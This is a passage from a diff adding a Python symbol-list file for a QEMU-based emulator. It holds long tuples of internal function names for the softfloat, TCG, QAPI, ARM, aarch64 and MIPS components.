'object_resolve_link', + 'object_resolve_link_property', + 'object_resolve_partial_path', + 'object_resolve_path', + 'object_resolve_path_component', + 'object_resolve_path_type', + 'object_set_link_property', + 'object_unparent', + 'omap_cachemaint_write', + 'omap_cp_reginfo', + 'omap_threadid_write', + 'omap_ticonfig_write', + 'omap_wfi_write', + 'op_bits', + 'open_modeflags', + 'op_to_mov', + 'op_to_movi', + 'output_type_enum', + 'packFloat128', + 'packFloat16', + 'packFloat32', + 'packFloat64', + 'packFloatx80', + 'page_find', + 'page_find_alloc', + 'page_flush_tb', + 'page_flush_tb_1', + 'page_init', + 'page_size_init', + 'par', + 'parse_array', + 'parse_error', + 'parse_escape', + 'parse_keyword', + 'parse_literal', + 'parse_object', + 'parse_optional', + 'parse_option_bool', + 'parse_option_number', + 'parse_option_size', + 'parse_pair', + 'parser_context_free', + 'parser_context_new', + 'parser_context_peek_token', + 'parser_context_pop_token', + 'parser_context_restore', + 'parser_context_save', + 'parse_str', + 'parse_type_bool', + 'parse_type_int', + 'parse_type_number', + 'parse_type_size', + 'parse_type_str', + 'parse_value', + 'par_write', + 'patch_reloc', + 'phys_map_node_alloc', + 'phys_map_node_reserve', + 'phys_mem_alloc', + 'phys_mem_set_alloc', + 'phys_page_compact', + 'phys_page_compact_all', + 'phys_page_find', + 'phys_page_set', + 'phys_page_set_level', + 'phys_section_add', + 'phys_section_destroy', + 'phys_sections_free', + 'pickNaN', + 'pickNaNMulAdd', + 'pmccfiltr_write', + 'pmccntr_read', + 'pmccntr_sync', + 'pmccntr_write', + 'pmccntr_write32', + 'pmcntenclr_write', + 'pmcntenset_write', + 'pmcr_write', + 'pmintenclr_write', + 'pmintenset_write', + 'pmovsr_write', + 'pmreg_access', + 'pmsav5_cp_reginfo', + 'pmsav5_data_ap_read', + 'pmsav5_data_ap_write', + 'pmsav5_insn_ap_read', + 'pmsav5_insn_ap_write', + 'pmuserenr_write', + 'pmxevtyper_write', + 'print_type_bool', + 'print_type_int', + 'print_type_number', + 'print_type_size', + 'print_type_str', + 'propagateFloat128NaN', + 'propagateFloat32MulAddNaN', + 'propagateFloat32NaN', + 'propagateFloat64MulAddNaN', + 'propagateFloat64NaN', + 'propagateFloatx80NaN', + 'property_get_alias', + 'property_get_bool', + 'property_get_str', + 'property_get_uint16_ptr', + 'property_get_uint32_ptr', + 'property_get_uint64_ptr', + 'property_get_uint8_ptr', + 'property_release_alias', + 'property_release_bool', + 'property_release_str', + 'property_resolve_alias', + 'property_set_alias', + 'property_set_bool', + 'property_set_str', + 'pstate_read', + 'pstate_write', + 'pxa250_initfn', + 'pxa255_initfn', + 'pxa260_initfn', + 'pxa261_initfn', + 'pxa262_initfn', + 'pxa270a0_initfn', + 'pxa270a1_initfn', + 'pxa270b0_initfn', + 'pxa270b1_initfn', + 'pxa270c0_initfn', + 'pxa270c5_initfn', + 'qapi_dealloc_end_implicit_struct', + 'qapi_dealloc_end_list', + 'qapi_dealloc_end_struct', + 'qapi_dealloc_get_visitor', + 'qapi_dealloc_next_list', + 'qapi_dealloc_pop', + 'qapi_dealloc_push', + 'qapi_dealloc_start_implicit_struct', + 'qapi_dealloc_start_list', + 'qapi_dealloc_start_struct', + 'qapi_dealloc_start_union', + 'qapi_dealloc_type_bool', + 'qapi_dealloc_type_enum', + 'qapi_dealloc_type_int', + 'qapi_dealloc_type_number', + 'qapi_dealloc_type_size', + 'qapi_dealloc_type_str', + 'qapi_dealloc_visitor_cleanup', + 'qapi_dealloc_visitor_new', + 'qapi_free_boolList', + 'qapi_free_ErrorClassList', + 'qapi_free_int16List', + 'qapi_free_int32List', + 'qapi_free_int64List', + 'qapi_free_int8List', + 'qapi_free_intList', + 'qapi_free_numberList', + 'qapi_free_strList', + 'qapi_free_uint16List', + 'qapi_free_uint32List', + 'qapi_free_uint64List', + 'qapi_free_uint8List', + 'qapi_free_X86CPUFeatureWordInfo', + 'qapi_free_X86CPUFeatureWordInfoList', + 'qapi_free_X86CPURegister32List', + 'qbool_destroy_obj', + 'qbool_from_int', + 'qbool_get_int', + 'qbool_type', + 'qbus_create', + 'qbus_create_inplace', + 'qbus_finalize', + 'qbus_initfn', + 'qbus_realize', + 'qdev_create', + 'qdev_get_type', + 'qdev_register_types', + 'qdev_set_parent_bus', + 'qdev_try_create', + 'qdict_add_key', + 'qdict_array_split', + 'qdict_clone_shallow', + 'qdict_del', + 'qdict_destroy_obj', + 'qdict_entry_key', + 'qdict_entry_value', + 'qdict_extract_subqdict', + 'qdict_find', + 'qdict_first', + 'qdict_flatten', + 'qdict_flatten_qdict', + 'qdict_flatten_qlist', + 'qdict_get', + 'qdict_get_bool', + 'qdict_get_double', + 'qdict_get_int', + 'qdict_get_obj', + 'qdict_get_qdict', + 'qdict_get_qlist', + 'qdict_get_str', + 'qdict_get_try_bool', + 'qdict_get_try_int', + 'qdict_get_try_str', + 'qdict_haskey', + 'qdict_has_prefixed_entries', + 'qdict_iter', + 'qdict_join', + 'qdict_new', + 'qdict_next', + 'qdict_next_entry', + 'qdict_put_obj', + 'qdict_size', + 'qdict_type', + 'qemu_clock_get_us', + 'qemu_clock_ptr', + 'qemu_clocks', + 'qemu_get_cpu', + 'qemu_get_guest_memory_mapping', + 'qemu_get_guest_simple_memory_mapping', + 'qemu_get_ram_block', + 'qemu_get_ram_block_host_ptr', + 'qemu_get_ram_fd', + 'qemu_get_ram_ptr', + 'qemu_host_page_mask', + 'qemu_host_page_size', + 'qemu_init_vcpu', + 'qemu_ld_helpers', + 'qemu_log_close', + 'qemu_log_enabled', + 'qemu_log_flush', + 'qemu_loglevel_mask', + 'qemu_log_vprintf', + 'qemu_oom_check', + 'qemu_parse_fd', + 'qemu_ram_addr_from_host', + 'qemu_ram_addr_from_host_nofail', + 'qemu_ram_alloc', + 'qemu_ram_alloc_from_ptr', + 'qemu_ram_foreach_block', + 'qemu_ram_free', + 'qemu_ram_free_from_ptr', + 'qemu_ram_ptr_length', + 'qemu_ram_remap', + 'qemu_ram_setup_dump', + 'qemu_ram_unset_idstr', + 'qemu_real_host_page_size', + 'qemu_st_helpers', + 'qemu_tcg_init_vcpu', + 'qemu_try_memalign', + 'qentry_destroy', + 'qerror_human', + 'qerror_report', + 'qerror_report_err', + 'qfloat_destroy_obj', + 'qfloat_from_double', + 'qfloat_get_double', + 'qfloat_type', + 'qint_destroy_obj', + 'qint_from_int', + 'qint_get_int', + 'qint_type', + 'qlist_append_obj', + 'qlist_copy', + 'qlist_copy_elem', + 'qlist_destroy_obj', + 'qlist_empty', + 'qlist_entry_obj', + 'qlist_first', + 'qlist_iter', + 'qlist_new', + 'qlist_next', + 'qlist_peek', + 'qlist_pop', + 'qlist_size', + 'qlist_size_iter', + 'qlist_type', + 'qmp_input_end_implicit_struct', + 'qmp_input_end_list', + 'qmp_input_end_struct', + 'qmp_input_get_next_type', + 'qmp_input_get_object', + 'qmp_input_get_visitor', + 'qmp_input_next_list', + 'qmp_input_optional', + 'qmp_input_pop', + 'qmp_input_push', + 'qmp_input_start_implicit_struct', + 'qmp_input_start_list', + 'qmp_input_start_struct', + 'qmp_input_type_bool', + 'qmp_input_type_int', + 'qmp_input_type_number', + 'qmp_input_type_str', + 'qmp_input_visitor_cleanup', + 'qmp_input_visitor_new', + 'qmp_input_visitor_new_strict', + 'qmp_output_add_obj', + 'qmp_output_end_list', + 'qmp_output_end_struct', + 'qmp_output_first', + 'qmp_output_get_qobject', + 'qmp_output_get_visitor', + 'qmp_output_last', + 'qmp_output_next_list', + 'qmp_output_pop', + 'qmp_output_push_obj', + 'qmp_output_start_list', + 'qmp_output_start_struct', + 'qmp_output_type_bool', + 'qmp_output_type_int', + 'qmp_output_type_number', + 'qmp_output_type_str', + 'qmp_output_visitor_cleanup', + 'qmp_output_visitor_new', + 'qobject_decref', + 'qobject_to_qbool', + 'qobject_to_qdict', + 'qobject_to_qfloat', + 'qobject_to_qint', + 'qobject_to_qlist', + 'qobject_to_qstring', + 'qobject_type', + 'qstring_append', + 'qstring_append_chr', + 'qstring_append_int', + 'qstring_destroy_obj', + 'qstring_from_escaped_str', + 'qstring_from_str', + 'qstring_from_substr', + 'qstring_get_length', + 'qstring_get_str', + 'qstring_new', + 'qstring_type', + 'ram_block_add', + 'ram_size', + 'range_compare', + 'range_covers_byte', + 'range_get_last', + 'range_merge', + 'ranges_can_merge', + 'raw_read', + 'raw_write', + 'rcon', + 'read_raw_cp_reg', + 'recip_estimate', + 'recip_sqrt_estimate', + 'register_cp_regs_for_features', + 'register_multipage', + 'register_subpage', + 'register_tm_clones', + 'register_types_object', + 'regnames', + 'render_memory_region', + 'reset_all_temps', + 'reset_temp', + 'rol32', + 'rol64', + 'ror32', + 'ror64', + 'roundAndPackFloat128', + 'roundAndPackFloat16', + 'roundAndPackFloat32', + 'roundAndPackFloat64', + 'roundAndPackFloatx80', + 'roundAndPackInt32', + 'roundAndPackInt64', + 'roundAndPackUint64', + 'round_to_inf', + 'run_on_cpu', + 's0', + 'S0', + 's1', + 'S1', + 'sa1100_initfn', + 'sa1110_initfn', + 'save_globals', + 'scr_write', + 'sctlr_write', + 'set_bit', + 'set_bits', + 'set_default_nan_mode', + 'set_feature', + 'set_float_detect_tininess', + 'set_float_exception_flags', + 'set_float_rounding_mode', + 'set_flush_inputs_to_zero', + 'set_flush_to_zero', + 'set_swi_errno', + 'sextract32', + 'sextract64', + 'shift128ExtraRightJamming', + 'shift128Right', + 'shift128RightJamming', + 'shift32RightJamming', + 'shift64ExtraRightJamming', + 'shift64RightJamming', + 'shifter_out_im', + 'shortShift128Left', + 'shortShift192Left', + 'simple_mpu_ap_bits', + 'size_code_gen_buffer', + 'softmmu_lock_user', + 'softmmu_lock_user_string', + 'softmmu_tget32', + 'softmmu_tget8', + 'softmmu_tput32', + 'softmmu_unlock_user', + 'sort_constraints', + 'sp_el0_access', + 'spsel_read', + 'spsel_write', + 'start_list', + 'stb_p', + 'stb_phys', + 'stl_be_p', + 'stl_be_phys', + 'stl_he_p', + 'stl_le_p', + 'stl_le_phys', + 'stl_phys', + 'stl_phys_internal', + 'stl_phys_notdirty', + 'store_cpu_offset', + 'store_reg', + 'store_reg_bx', + 'store_reg_from_load', + 'stq_be_p', + 'stq_be_phys', + 'stq_he_p', + 'stq_le_p', + 'stq_le_phys', + 'stq_phys', + 'string_input_get_visitor', + 'string_input_visitor_cleanup', + 'string_input_visitor_new', + 'strongarm_cp_reginfo', + 'strstart', + 'strtosz', + 'strtosz_suffix', + 'stw_be_p', + 'stw_be_phys', + 'stw_he_p', + 'stw_le_p', + 'stw_le_phys', + 'stw_phys', + 'stw_phys_internal', + 'sub128', + 'sub16_sat', + 'sub16_usat', + 'sub192', + 'sub8_sat', + 'sub8_usat', + 'subFloat128Sigs', + 'subFloat32Sigs', + 'subFloat64Sigs', + 'subFloatx80Sigs', + 'subpage_accepts', + 'subpage_init', + 'subpage_ops', + 'subpage_read', + 'subpage_register', + 'subpage_write', + 'suffix_mul', + 'swap_commutative', + 'swap_commutative2', + 'switch_mode', + 'switch_v7m_sp', + 'syn_aa32_bkpt', + 'syn_aa32_hvc', + 'syn_aa32_smc', + 'syn_aa32_svc', + 'syn_breakpoint', + 'sync_globals', + 'syn_cp14_rrt_trap', + 'syn_cp14_rt_trap', + 'syn_cp15_rrt_trap', + 'syn_cp15_rt_trap', + 'syn_data_abort', + 'syn_fp_access_trap', + 'syn_insn_abort', + 'syn_swstep', + 'syn_uncategorized', + 'syn_watchpoint', + 'syscall_err', + 'system_bus_class_init', + 'system_bus_info', + 't2ee_cp_reginfo', + 'table_logic_cc', + 'target_parse_constraint', + 'target_words_bigendian', + 'tb_add_jump', + 'tb_alloc', + 'tb_alloc_page', + 'tb_check_watchpoint', + 'tb_find_fast', + 'tb_find_pc', + 'tb_find_slow', + 'tb_flush', + 'tb_flush_jmp_cache', + 'tb_free', + 'tb_gen_code', + 'tb_hash_remove', + 'tb_invalidate_phys_addr', + 'tb_invalidate_phys_page_range', + 'tb_invalidate_phys_range', + 'tb_jmp_cache_hash_func', + 'tb_jmp_cache_hash_page', + 'tb_jmp_remove', + 'tb_link_page', + 'tb_page_remove', + 'tb_phys_hash_func', + 'tb_phys_invalidate', + 'tb_reset_jump', + 'tb_set_jmp_target', + 'tcg_accel_class_init', + 'tcg_accel_type', + 'tcg_add_param_i32', + 'tcg_add_param_i64', + 'tcg_add_target_add_op_defs', + 'tcg_allowed', + 'tcg_canonicalize_memop', + 'tcg_commit', + 'tcg_cond_to_jcc', + 'tcg_constant_folding', + 'tcg_const_i32', + 'tcg_const_i64', + 'tcg_const_local_i32', + 'tcg_const_local_i64', + 'tcg_context_init', + 'tcg_cpu_address_space_init', + 'tcg_cpu_exec', + 'tcg_current_code_size', + 'tcg_dump_info', + 'tcg_dump_ops', + 'tcg_exec_all', + 'tcg_find_helper', + 'tcg_func_start', + 'tcg_gen_abs_i32', + 'tcg_gen_add2_i32', + 'tcg_gen_add_i32', + 'tcg_gen_add_i64', + 'tcg_gen_addi_i32', + 'tcg_gen_addi_i64', + 'tcg_gen_andc_i32', + 'tcg_gen_and_i32', + 'tcg_gen_and_i64', + 'tcg_gen_andi_i32', + 'tcg_gen_andi_i64', + 'tcg_gen_br', + 'tcg_gen_brcond_i32', + 'tcg_gen_brcond_i64', + 'tcg_gen_brcondi_i32', + 'tcg_gen_bswap16_i32', + 'tcg_gen_bswap32_i32', + 'tcg_gen_callN', + 'tcg_gen_code', + 'tcg_gen_code_common', + 'tcg_gen_code_search_pc', + 'tcg_gen_concat_i32_i64', + 'tcg_gen_debug_insn_start', + 'tcg_gen_deposit_i32', + 'tcg_gen_exit_tb', + 'tcg_gen_ext16s_i32', + 'tcg_gen_ext16u_i32', + 'tcg_gen_ext32s_i64', + 'tcg_gen_ext32u_i64', + 'tcg_gen_ext8s_i32', + 'tcg_gen_ext8u_i32', + 'tcg_gen_ext_i32_i64', + 'tcg_gen_extu_i32_i64', + 'tcg_gen_goto_tb', + 'tcg_gen_ld_i32', + 'tcg_gen_ld_i64', + 'tcg_gen_ldst_op_i32', + 'tcg_gen_ldst_op_i64', + 'tcg_gen_movcond_i32', + 'tcg_gen_movcond_i64', + 'tcg_gen_mov_i32', + 'tcg_gen_mov_i64', + 'tcg_gen_movi_i32', + 'tcg_gen_movi_i64', + 'tcg_gen_mul_i32', + 'tcg_gen_muls2_i32', + 'tcg_gen_mulu2_i32', + 'tcg_gen_neg_i32', + 'tcg_gen_neg_i64', + 'tcg_gen_not_i32', + 'tcg_gen_op0', + 'tcg_gen_op1i', + 'tcg_gen_op2_i32', + 'tcg_gen_op2_i64', + 'tcg_gen_op2i_i32', + 'tcg_gen_op2i_i64', + 'tcg_gen_op3_i32', + 'tcg_gen_op3_i64', + 'tcg_gen_op4_i32', + 'tcg_gen_op4i_i32', + 'tcg_gen_op4ii_i32', + 'tcg_gen_op4ii_i64', + 'tcg_gen_op5ii_i32', + 'tcg_gen_op6_i32', + 'tcg_gen_op6i_i32', + 'tcg_gen_op6i_i64', + 'tcg_gen_orc_i32', + 'tcg_gen_or_i32', + 'tcg_gen_or_i64', + 'tcg_gen_ori_i32', + 'tcg_gen_qemu_ld_i32', + 'tcg_gen_qemu_ld_i64', + 'tcg_gen_qemu_st_i32', + 'tcg_gen_qemu_st_i64', + 'tcg_gen_rotl_i32', + 'tcg_gen_rotli_i32', + 'tcg_gen_rotr_i32', + 'tcg_gen_rotri_i32', + 'tcg_gen_sar_i32', + 'tcg_gen_sari_i32', + 'tcg_gen_setcond_i32', + 'tcg_gen_shl_i32', + 'tcg_gen_shl_i64', + 'tcg_gen_shli_i32', + 'tcg_gen_shli_i64', + 'tcg_gen_shr_i32', + 'tcg_gen_shifti_i64', + 'tcg_gen_shr_i64', + 'tcg_gen_shri_i32', + 'tcg_gen_shri_i64', + 'tcg_gen_st_i32', + 'tcg_gen_st_i64', + 'tcg_gen_sub_i32', + 'tcg_gen_sub_i64', + 'tcg_gen_subi_i32', + 'tcg_gen_trunc_i64_i32', + 'tcg_gen_trunc_shr_i64_i32', + 'tcg_gen_xor_i32', + 'tcg_gen_xor_i64', + 'tcg_gen_xori_i32', + 'tcg_get_arg_str_i32', + 'tcg_get_arg_str_i64', + 'tcg_get_arg_str_idx', + 'tcg_global_mem_new_i32', + 'tcg_global_mem_new_i64', + 'tcg_global_mem_new_internal', + 'tcg_global_reg_new_i32', + 'tcg_global_reg_new_i64', + 'tcg_global_reg_new_internal', + 'tcg_handle_interrupt', + 'tcg_init', + 'tcg_invert_cond', + 'tcg_la_bb_end', + 'tcg_la_br_end', + 'tcg_la_func_end', + 'tcg_liveness_analysis', + 'tcg_malloc', + 'tcg_malloc_internal', + 'tcg_op_defs_org', + 'tcg_opt_gen_mov', + 'tcg_opt_gen_movi', + 'tcg_optimize', + 'tcg_out16', + 'tcg_out32', + 'tcg_out64', + 'tcg_out8', + 'tcg_out_addi', + 'tcg_out_branch', + 'tcg_out_brcond32', + 'tcg_out_brcond64', + 'tcg_out_bswap32', + 'tcg_out_bswap64', + 'tcg_out_call', + 'tcg_out_cmp', + 'tcg_out_ext16s', + 'tcg_out_ext16u', + 'tcg_out_ext32s', + 'tcg_out_ext32u', + 'tcg_out_ext8s', + 'tcg_out_ext8u', + 'tcg_out_jmp', + 'tcg_out_jxx', + 'tcg_out_label', + 'tcg_out_ld', + 'tcg_out_modrm', + 'tcg_out_modrm_offset', + 'tcg_out_modrm_sib_offset', + 'tcg_out_mov', + 'tcg_out_movcond32', + 'tcg_out_movcond64', + 'tcg_out_movi', + 'tcg_out_op', + 'tcg_out_pop', + 'tcg_out_push', + 'tcg_out_qemu_ld', + 'tcg_out_qemu_ld_direct', + 'tcg_out_qemu_ld_slow_path', + 'tcg_out_qemu_st', + 'tcg_out_qemu_st_direct', + 'tcg_out_qemu_st_slow_path', + 'tcg_out_reloc', + 'tcg_out_rolw_8', + 'tcg_out_setcond32', + 'tcg_out_setcond64', + 'tcg_out_shifti', + 'tcg_out_st', + 'tcg_out_tb_finalize', + 'tcg_out_tb_init', + 'tcg_out_tlb_load', + 'tcg_out_vex_modrm', + 'tcg_patch32', + 'tcg_patch8', + 'tcg_pcrel_diff', + 'tcg_pool_reset', + 'tcg_prologue_init', + 'tcg_ptr_byte_diff', + 'tcg_reg_alloc', + 'tcg_reg_alloc_bb_end', + 'tcg_reg_alloc_call', + 'tcg_reg_alloc_mov', + 'tcg_reg_alloc_movi', + 'tcg_reg_alloc_op', + 'tcg_reg_alloc_start', + 'tcg_reg_free', + 'tcg_reg_sync', + 'tcg_set_frame', + 'tcg_set_nop', + 'tcg_swap_cond', + 'tcg_target_callee_save_regs', + 'tcg_target_call_iarg_regs', + 'tcg_target_call_oarg_regs', + 'tcg_target_const_match', + 'tcg_target_init', + 'tcg_target_qemu_prologue', + 'tcg_target_reg_alloc_order', + 'tcg_temp_alloc', + 'tcg_temp_free_i32', + 'tcg_temp_free_i64', + 'tcg_temp_free_internal', + 'tcg_temp_local_new_i32', + 'tcg_temp_local_new_i64', + 'tcg_temp_new_i32', + 'tcg_temp_new_i64', + 'tcg_temp_new_internal', + 'tcg_temp_new_internal_i32', + 'tcg_temp_new_internal_i64', + 'tdb_hash', + 'teecr_write', + 'teehbr_access', + 'temp_allocate_frame', + 'temp_dead', + 'temps_are_copies', + 'temp_save', + 'temp_sync', + 'tgen_arithi', + 'tgen_arithr', + 'thumb2_logic_op', + 'ti925t_initfn', + 'tlb_add_large_page', + 'tlb_flush_entry', + 'tlbi_aa64_asid_is_write', + 'tlbi_aa64_asid_write', + 'tlbi_aa64_vaa_is_write', + 'tlbi_aa64_vaa_write', + 'tlbi_aa64_va_is_write', + 'tlbi_aa64_va_write', + 'tlbiall_is_write', + 'tlbiall_write', + 'tlbiasid_is_write', + 'tlbiasid_write', + 'tlbimvaa_is_write', + 'tlbimvaa_write', + 'tlbimva_is_write', + 'tlbimva_write', + 'tlb_is_dirty_ram', + 'tlb_protect_code', + 'tlb_reset_dirty_range', + 'tlb_reset_dirty_range_all', + 'tlb_set_dirty', + 'tlb_set_dirty1', + 'tlb_unprotect_code_phys', + 'tlb_vaddr_to_host', + 'token_get_type', + 'token_get_value', + 'token_is_escape', + 'token_is_keyword', + 'token_is_operator', + 'tokens_append_from_iter', + 'to_qiv', + 'to_qov', + 'tosa_init', + 'tosa_machine_init', + 'tswap32', + 'tswap64', + 'type_class_get_size', + 'type_get_by_name', + 'type_get_parent', + 'type_has_parent', + 'type_initialize', + 'type_initialize_interface', + 'type_is_ancestor', + 'type_new', + 'type_object_get_size', + 'type_register_internal', + 'type_table_add', + 'type_table_get', + 'type_table_lookup', + 'uint16_to_float32', + 'uint16_to_float64', + 'uint32_to_float32', + 'uint32_to_float64', + 'uint64_to_float128', + 'uint64_to_float32', + 'uint64_to_float64', + 'unassigned_io_ops', + 'unassigned_io_read', + 'unassigned_io_write', + 'unassigned_mem_accepts', + 'unassigned_mem_ops', + 'unassigned_mem_read', + 'unassigned_mem_write', + 'update_spsel', + 'v6_cp_reginfo', + 'v6k_cp_reginfo', + 'v7_cp_reginfo', + 'v7mp_cp_reginfo', + 'v7m_pop', + 'v7m_push', + 'v8_cp_reginfo', + 'v8_el2_cp_reginfo', + 'v8_el3_cp_reginfo', + 'v8_el3_no_el2_cp_reginfo', + 'vapa_cp_reginfo', + 'vbar_write', + 'vfp_exceptbits_from_host', + 'vfp_exceptbits_to_host', + 'vfp_get_fpcr', + 'vfp_get_fpscr', + 'vfp_get_fpsr', + 'vfp_reg_offset', + 'vfp_set_fpcr', + 'vfp_set_fpscr', + 'vfp_set_fpsr', + 'visit_end_implicit_struct', + 'visit_end_list', + 'visit_end_struct', + 'visit_end_union', + 'visit_get_next_type', + 'visit_next_list', + 'visit_optional', + 'visit_start_implicit_struct', + 'visit_start_list', + 'visit_start_struct', + 'visit_start_union', + 'vmsa_cp_reginfo', + 'vmsa_tcr_el1_write', + 'vmsa_ttbcr_raw_write', + 'vmsa_ttbcr_reset', + 'vmsa_ttbcr_write', + 'vmsa_ttbr_write', + 'write_cpustate_to_list', + 'write_list_to_cpustate', + 'write_raw_cp_reg', + 'X86CPURegister32_lookup', + 'x86_op_defs', + 'xpsr_read', + 'xpsr_write', + 'xscale_cpar_write', + 'xscale_cp_reginfo' +) + +arm_symbols = ( + 'ARM_REGS_STORAGE_SIZE', +) + +aarch64_symbols = ( + 'ARM64_REGS_STORAGE_SIZE', + 'arm64_release', + 'arm64_reg_reset', + 'arm64_reg_read', + 'arm64_reg_write', + 'gen_a64_set_pc_im', + 'aarch64_cpu_register_types', + 'helper_udiv64', + 'helper_sdiv64', + 'helper_cls64', + 'helper_cls32', + 'helper_rbit64', + 'helper_vfp_cmps_a64', + 'helper_vfp_cmpes_a64', + 'helper_vfp_cmpd_a64', + 'helper_vfp_cmped_a64', + 'helper_vfp_mulxs', + 'helper_vfp_mulxd', + 'helper_simd_tbl', + 'helper_neon_ceq_f64', + 'helper_neon_cge_f64', + 'helper_neon_cgt_f64', + 'helper_recpsf_f32', + 'helper_recpsf_f64', + 'helper_rsqrtsf_f32', + 'helper_rsqrtsf_f64', + 'helper_neon_addlp_s8', + 'helper_neon_addlp_u8', + 'helper_neon_addlp_s16', + 'helper_neon_addlp_u16', + 'helper_frecpx_f32', + 'helper_frecpx_f64', + 'helper_fcvtx_f64_to_f32', + 'helper_crc32_64', + 'helper_crc32c_64', + 'aarch64_cpu_do_interrupt', + +) + +mips_symbols = ( + 'cpu_mips_exec', + 'cpu_mips_get_random', + 'cpu_mips_get_count', + 'cpu_mips_store_count', + 'cpu_mips_store_compare', + 'cpu_mips_start_count', + 'cpu_mips_stop_count', + 'mips_machine_init', + 'cpu_mips_kseg0_to_phys', + 'cpu_mips_phys_to_kseg0', + 'cpu_mips_kvm_um_phys_to_kseg0', + 'mips_cpu_register_types', + 'cpu_mips_init', + 'cpu_state_reset', + 'helper_msa_andi_b', + 'helper_msa_ori_b', + 'helper_msa_nori_b', + 'helper_msa_xori_b', + 'helper_msa_bmnzi_b', + 'helper_msa_bmzi_b', + 'helper_msa_bseli_b', + 'helper_msa_shf_df', + 'helper_msa_and_v', + 'helper_msa_or_v', + 'helper_msa_nor_v', + 'helper_msa_xor_v', + 'helper_msa_bmnz_v', + 'helper_msa_bmz_v', + 'helper_msa_bsel_v', + 'helper_msa_addvi_df', + 'helper_msa_subvi_df', + 'helper_msa_ceqi_df', + 'helper_msa_clei_s_df', + 'helper_msa_clei_u_df', + 'helper_msa_clti_s_df', + 'helper_msa_clti_u_df', + 'helper_msa_maxi_s_df', + 'helper_msa_maxi_u_df', + 'helper_msa_mini_s_df', + 'helper_msa_mini_u_df', + 'helper_msa_ldi_df', + 'helper_msa_slli_df', + 'helper_msa_srai_df', + 'helper_msa_srli_df', + 'helper_msa_bclri_df', + 'helper_msa_bseti_df', + 'helper_msa_bnegi_df', + 'helper_msa_sat_s_df', + 'helper_msa_sat_u_df', + 'helper_msa_srari_df', + 'helper_msa_srlri_df', + 'helper_msa_binsli_df', + 'helper_msa_binsri_df', + 'helper_msa_sll_df', + 'helper_msa_sra_df', + 'helper_msa_srl_df', + 'helper_msa_bclr_df', + 'helper_msa_bset_df', + 'helper_msa_bneg_df', + 'helper_msa_addv_df', + 'helper_msa_subv_df', + 'helper_msa_max_s_df', + 'helper_msa_max_u_df', + 'helper_msa_min_s_df', + 'helper_msa_min_u_df', + 'helper_msa_max_a_df', + 'helper_msa_min_a_df', + 'helper_msa_ceq_df', + 'helper_msa_clt_s_df', + 'helper_msa_clt_u_df', + 'helper_msa_cle_s_df', + 'helper_msa_cle_u_df', + 'helper_msa_add_a_df', + 'helper_msa_adds_a_df', + 'helper_msa_adds_s_df', + 'helper_msa_adds_u_df', + 'helper_msa_ave_s_df', + 'helper_msa_ave_u_df', + 'helper_msa_aver_s_df', + 'helper_msa_aver_u_df', + 'helper_msa_subs_s_df', + 'helper_msa_subs_u_df', + 'helper_msa_subsus_u_df', + 'helper_msa_subsuu_s_df', + 'helper_msa_asub_s_df', + 'helper_msa_asub_u_df', + 'helper_msa_mulv_df', + 'helper_msa_div_s_df', + 'helper_msa_div_u_df', + 'helper_msa_mod_s_df', + 'helper_msa_mod_u_df', + 'helper_msa_dotp_s_df', + 'helper_msa_dotp_u_df', + 'helper_msa_srar_df', + 'helper_msa_srlr_df', + 'helper_msa_hadd_s_df', + 'helper_msa_hadd_u_df', + 'helper_msa_hsub_s_df', + 'helper_msa_hsub_u_df', + 'helper_msa_mul_q_df', + 'helper_msa_mulr_q_df', + 'helper_msa_sld_df', + 'helper_msa_maddv_df', + 'helper_msa_msubv_df', + 'helper_msa_dpadd_s_df', + 'helper_msa_dpadd_u_df', + 'helper_msa_dpsub_s_df', + 'helper_msa_dpsub_u_df', + 'helper_msa_binsl_df', + 'helper_msa_binsr_df', + 'helper_msa_madd_q_df', + 'helper_msa_msub_q_df', + 'helper_msa_maddr_q_df', + 'helper_msa_msubr_q_df', + 'helper_msa_splat_df', + 'helper_msa_pckev_df', + 'helper_msa_pckod_df', + 'helper_msa_ilvl_df', + 'helper_msa_ilvr_df', + 'helper_msa_ilvev_df', + 'helper_msa_ilvod_df', + 'helper_msa_vshf_df', + 'helper_msa_sldi_df', + 'helper_msa_splati_df', + 'helper_msa_copy_s_df', + 'helper_msa_copy_u_df', + 'helper_msa_insert_df', + 'helper_msa_insve_df', + 'helper_msa_ctcmsa', + 'helper_msa_cfcmsa', + 'helper_msa_move_v', + 'helper_msa_fill_df', + 'helper_msa_nlzc_df', + 'helper_msa_nloc_df', + 'helper_msa_pcnt_df', + 'helper_msa_fcaf_df', + 'helper_msa_fcun_df', + 'helper_msa_fceq_df', + 'helper_msa_fcueq_df', + 'helper_msa_fclt_df', + 'helper_msa_fcult_df', + 'helper_msa_fcle_df', + 'helper_msa_fcule_df', + 'helper_msa_fsaf_df', + 'helper_msa_fsun_df', + 'helper_msa_fseq_df', + 'helper_msa_fsueq_df', + 'helper_msa_fslt_df', + 'helper_msa_fsult_df', + 'helper_msa_fsle_df', + 'helper_msa_fsule_df', + 'helper_msa_fcor_df', + 'helper_msa_fcune_df', + 'helper_msa_fcne_df', + 'helper_msa_fsor_df', + 'helper_msa_fsune_df', + 'helper_msa_fsne_df', + 'helper_msa_fadd_df', + 'helper_msa_fsub_df', + 'helper_msa_fmul_df', + 'helper_msa_fdiv_df', + 'helper_msa_fmadd_df', + 'helper_msa_fmsub_df', + 'helper_msa_fexp2_df', + 'helper_msa_fexdo_df', + 'helper_msa_ftq_df', + 'helper_msa_fmin_df', + 'helper_msa_fmin_a_df', + 'helper_msa_fmax_df', + 'helper_msa_fmax_a_df', + 'helper_msa_fclass_df', + 'helper_msa_ftrunc_s_df', + 'helper_msa_ftrunc_u_df', + 'helper_msa_fsqrt_df', + 'helper_msa_frsqrt_df', + 'helper_msa_frcp_df', + 'helper_msa_frint_df', + 'helper_msa_flog2_df', + 'helper_msa_fexupl_df', + 'helper_msa_fexupr_df', + 'helper_msa_ffql_df', + 'helper_msa_ffqr_df', + 'helper_msa_ftint_s_df', + 'helper_msa_ftint_u_df', + 'helper_msa_ffint_s_df', + 'helper_msa_ffint_u_df', + 'helper_paddsb', + 'helper_paddusb', + 'helper_paddsh', + 'helper_paddush', + 'helper_paddb', + 'helper_paddh', + 'helper_paddw', + 'helper_psubsb', + 'helper_psubusb', + 'helper_psubsh', + 'helper_psubush', + 'helper_psubb', + 'helper_psubh', + 'helper_psubw', + 'helper_pshufh', + 'helper_packsswh', + 'helper_packsshb', + 'helper_packushb', + 'helper_punpcklwd', + 'helper_punpckhwd', + 'helper_punpcklhw', + 'helper_punpckhhw', + 'helper_punpcklbh', + 'helper_punpckhbh', + 'helper_pavgh', + 